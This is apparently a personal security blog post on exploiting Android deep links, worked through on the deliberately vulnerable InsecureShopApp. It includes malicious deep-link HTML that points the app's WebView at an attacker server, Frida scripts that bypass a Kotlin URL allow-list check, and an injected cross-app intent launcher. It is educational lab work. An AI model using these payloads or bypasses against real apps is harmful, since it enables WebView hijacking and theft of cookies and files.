# Intro
As you may be aware I have been doing some hacking on `Android` recently. Today I want to look into `deep links` a little bit because there can be many issues that occur when these are not set up and validated properly. Actually, the original inspiration for this post comes from a talk I saw at `zer0con` by [@InterruptLabs](https://twitter.com/interruptlabs) ([@munmap](https://twitter.com/munmap) & [@patateQbool](https://twitter.com/patateQbool)), pretty hilarious stuff actually.
Below you can see a short `0day 1-click` demo, from the talk, to install an arbitrary app on a `Xiaomi` phone.
- https://twitter.com/POC_Crew/status/1775713732842365022
They talked about a lot of previous `p2o bugs` related to poor implementations of `deep links` and the associated `WebViews` (`permissions`, `JS bridging`, `Intent proxying` etc.). We won't go into those here but I want to just do some simple groundwork using a toy app [InsecureShoppApp](https://www.insecureshopapp.com/). As we will see the application is not really fit for purpose (eventually, I'll have to write my own to catalogue `Android bugs` I can repro) but it will allow us to flex our `frida` skills a little bit and gain some hands-on experience.
# What is a deep link tho?
Actually this is very easy to understand, `Android` [deep links](https://developer.android.com/training/app-links) are the equivalent of [URI Handlers](https://learn.microsoft.com/en-us/windows/uwp/launch-resume/launch-app-with-uri) on `Windows` (these have also had bugs). You craft a `URL` with some specific formatting and an `app` will perform some action based on that (with or without parameters).
```
jumanjiapp://someurl?param=123
```
What happens here depends entirely on the `app` and how the `onCreate` handler is set up. Some things that can go wrong include:
- The attacker may be able to force a `WebView` to load a malicious `URL`, either because of poor design or because `URL` allow-listing is implemented poorly.
- If the `WebView` loads a trusted `URL` there may still be issues, for example if you can find `XSS` or `Open Redirect`.
- The `WebView` may have permissive settings, like `setJavaScriptEnabled(true)` which would enable the view to call any `JavaScript<->Java` bridges that may exist for the interface.
- `JavaScript Bridges` may expose additional attack surface.
- The `WebView` may have `setAllowUniversalAccessFromFileURLs(true)` which would allow `cross-origin` requests to access the `file://` scheme. Not good ok, don't do that!
- Depending on the setup, the attacker may also be able to proxy to different `Intents` etc.
All this theory is a bit theoretical, let's have a look!
# You linking with that phone bruv, peak
#### Manifest
If we look at the `Android` manifest we can see some interesting entries.
![[deeplink-01.png]]
Notice that `WebViewActivity` has a `data specification`, including a scheme (`insecureshop://`) and host (`com.insecureshop`) where `WebView2Activity` does not.
What we need to understand about this is that we can invoke `WebViewActivity` remotely by sending the target a (malicious) `URL` where we can't do that for `WebView2Activity`. However, we can still call both using an `intent` either from inside the `app` or `cross-app` on the phone (interesting, I assume this opens the phone up to cross-app attacks).
#### WebViewActivity
Because we want to do a `1-click` style attack we will focus on `WebViewActivity`. Lets have a look first at the setup of the `WebView`.
![[deeplink-02.png]]
Not a good start for the `app` there is both `setJavaScriptEnabled` and `setAllowUniversalAccessFromFileURLs`. I will note that there are no `JavaScript Bridges` (more reasons to write our own app later on).
Looking at the actual `WebView` handler we can see the following.
![[deeplink-03.png]]
There are two scenarios the app will handle. The first scenario is where the request `URI` equals `/web`. In this case the value of the `url` query parameter is extracted and directly loaded in a `WebView`.
![[deeplink-04.mov]]
Here we just created a simple `href`, like this:
```html
<a href="insecureshop://com.insecureshop/web?url=https://calypso.pub">Click Me</a>
```
The second scenario is where the request `URI` equals `/webview`. We can't leverage this scenario directly because the `app` also adds a check, using `StringsKt`, to make sure the `url` query parameter ends with `insecureshopapp.com`. This is obviously a bad check because we could register a domain that meets these criteria (e.g. `jumanji-insecureshopapp.com`).
#### Flexing Frida
Ok, ok, what if we wanted, for no apparent reason, to use `/webview` anyway? Well we can, if our intention is to practice our `frida` craft.
First let's adjust our `href`.
```html
<a href="insecureshop://com.insecureshop/webview?url=https://calypso.pub">Click Me</a>
```
We can create a small logger to understand more about what is happening inside the app and also put us in a position to manipulate the `WebView` (if we wanted to do that).
```js
Java.perform(function () {
var WebViewActivity = Java.use('com.insecureshop.WebViewActivity');
WebViewActivity.onCreate.overload('android.os.Bundle').implementation = function (savedInstanceState) {
console.log('\n[+] WebViewActivity onCreate called');
this.onCreate(savedInstanceState);
logIntentData(this.getIntent());
// Use Java reflection to find the WebView instance
Java.choose('android.webkit.WebView', {
onMatch: function(instance) {
console.log('[Java.choose] WebView instance found: ' + instance);
//
// You can modify the WebView here if you want
//
},
onComplete: function() {
console.log('[Java.choose] Completed');
}
});
};
WebViewActivity.onNewIntent.overload('android.content.Intent').implementation = function (intent) {
console.log('\n[+] WebViewActivity onNewIntent called');
this.onNewIntent(intent);
logIntentData(intent);
};
function logIntentData(intent) {
var dataString = intent.getDataString();
var data = intent.getData();
var extras = intent.getExtras();
console.log('[?] Intent dataString: ' + dataString);
if (data !== null) {
console.log(' |_ Intent data URI: ' + data.toString());
console.log(' |_ Intent query parameter "url": ' + data.getQueryParameter("url"));
}
if (extras !== null) {
console.log(' |_ Intent extras: ' + extras.toString());
}
}
});
```
![[deeplink-05.png]]
Useful as a code reference, however, what we really want is to bypass the `kotlin` string comparison. The class has code that looks like this:
```java
import kotlin.text.StringsKt;
.....
if (StringsKt.endsWith$default(queryParameter, "insecureshopapp.com", false, 2, (Object) null)) {
......
}
```
My assumption was that the `endsWith$default` method would be in `kotlin.text.StringsKt` but it turns out if you double-click the implementation in `JADX` it redirects you to `kotlin.text.StringsKt__StringsJVMKt`. This is a bit confusing, I'm not sure why this is the case (let me know!).
This issue is further compounded by the fact that both classes have `endsWith$default` methods using `different overloads`! Lets have a look. We can list the methods for each as shown below. I apply a loose filter so you can see some differences.
```js
Java.perform(function () {
var classes = ["kotlin.text.StringsKt", "kotlin.text.StringsKt__StringsJVMKt"];
classes.forEach(function (className) {
try {
var klass = Java.use(className);
console.log("\n[========= Methods in " + className + "==================]");
for (var method in klass) {
if (method.includes("With")) {
console.log(method);
}
}
} catch (e) {
console.log("Class not found: " + className);
}
});
});
```
![[deeplink-06.png]]
Like I said, these have different `overloads`.
```js
Java.perform(function () {
var StringsJVMKt = Java.use("kotlin.text.StringsKt__StringsJVMKt");
var StringsKt = Java.use("kotlin.text.StringsKt");
console.log("\n[?] Available overloads for StringsKt.endsWith$default:");
StringsKt.endsWith$default.overloads.forEach(function (overload) {
console.log(" |_ [RET] " + overload.returnType + " -> " + overload.argumentTypes.join(", "));
});
console.log("\n[?] Available overloads for StringsJVMKt.endsWith$default:");
StringsJVMKt.endsWith$default.overloads.forEach(function (overload) {
console.log(" |_ [RET] " + overload.returnType + " -> " + overload.argumentTypes.join(", "));
});
});
```
This is important because we need to hook the implementation that is actually being used by the app.
![[deeplink-07.png]]
Anyway, the moral of the story is to check in the decompiler, it obviously knows which one is being used 😅😅. Still, we learned some things along the way and that is the whole point I think. Now it is easy to hook the correct implementation and bypass the check!
```js
Java.perform(function () {
var StringsJVMKt = Java.use("kotlin.text.StringsKt__StringsJVMKt");
StringsJVMKt.endsWith$default.overload("java.lang.String", "java.lang.String", "boolean", "int", "java.lang.Object").implementation = function (str, str2, z, i, obj) {
console.log("[+] StringsKt__StringsJVMKt called");
console.log(" |_ [ARGS] ", str, str2, z, i, obj);
// Bypass the check for URLs ending with "calypso.pub"
if (str && str.toString().endsWith("calypso.pub")) {
console.log(" |_ Bypass check -> true");
return true;
}
console.log(" |_ Bypass check -> false");
var result = this.endsWith$default(str, str2, z, i, obj);
return result;
};
});
```
![[deeplink-08.png]]
Not totally useful but interesting 🙇♂️!
#### How about p0wn?
Well, we can redirect the `WebView` to a `URL` on our server, like this:
```html
<a href="insecureshop://com.insecureshop/web?url=http://192.168.1.83:8000/pwn.html">Click Me</a>
```
At that stage you can execute `JavaScript` in the `WebView` and do things like steal cookies or whatever. Also, because you have access to the `file://` scheme you can exfiltrate files from `some specific locations` on the phone:
- Application internal storage
- Application cache
- External Storage (depends on application permissions, `READ_EXTERNAL_STORAGE`)
But generally the attack surface is not very interesting here so I will just show you a small demo before we move on.
![[deeplink-09.mov]]
#### Cross-App Attacks
Like I mentioned at the start we can trigger these actions using `Intents`. Actually, `ADB` lets you simulate this.
```
b33f@p0wn ~ % adb shell am start -W -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://calypso.pub"
Starting: Intent { act=android.intent.action.VIEW dat=insecureshop://com.insecureshop/... }
Status: ok
LaunchState: WARM
Activity: com.insecureshop/.WebViewActivity
TotalTime: 99
WaitTime: 104
```
What would interesting though is a more realistic scenario where we trigger the `Intent` from `Java` code. You could do something like this:
```java
import android.content.Intent;
import android.net.Uri;
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("insecureshop://com.insecureshop/web?url=https://calypso.pub"));
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.addCategory(Intent.CATEGORY_BROWSABLE);
startActivity(intent);
```
Very cool, very cool, but I'm not going to write a `Java` app ok.. What if we turn this into `frida` code, inject it into a process, and try to preform a real `cross-app` action.
```js
Java.perform(function () {
var SettingsActivity = Java.use('com.android.settings.Settings');
SettingsActivity.onCreate.overload('android.os.Bundle').implementation = function (savedInstanceState) {
this.onCreate(savedInstanceState);
// Creating the intent
var Intent = Java.use('android.content.Intent');
var Uri = Java.use('android.net.Uri');
var String = Java.use('java.lang.String');
var uri = Uri.parse("insecureshop://com.insecureshop/web?url=http://192.168.1.83:8000/pwn.html");
var intent = Intent.$new("android.intent.action.VIEW", uri);
intent.addCategory(String.$new("android.intent.category.DEFAULT"));
intent.addCategory(String.$new("android.intent.category.BROWSABLE"));
// Starting the activity
this.startActivity(intent);
};
});
```
Here, of course, we have `frida` running as `root` so we can inject into anything. For demo purposes I just chose to inject `com.android.settings`.
![[deeplink-10.mov]]
# Conclusions
There is probably nothing new here for people with more foundational `Android` knowledge. Being intellectually poor myself I can only endeavour to be studious and work diligently on my shortcomings.
```
This is an intellectual endeavor, a craft that lacks nothing in a person's work; for if he masters it, he will embrace it with a love for the craft, by will lengthen his days in all his pursuits, and willing grant him eternal life.
```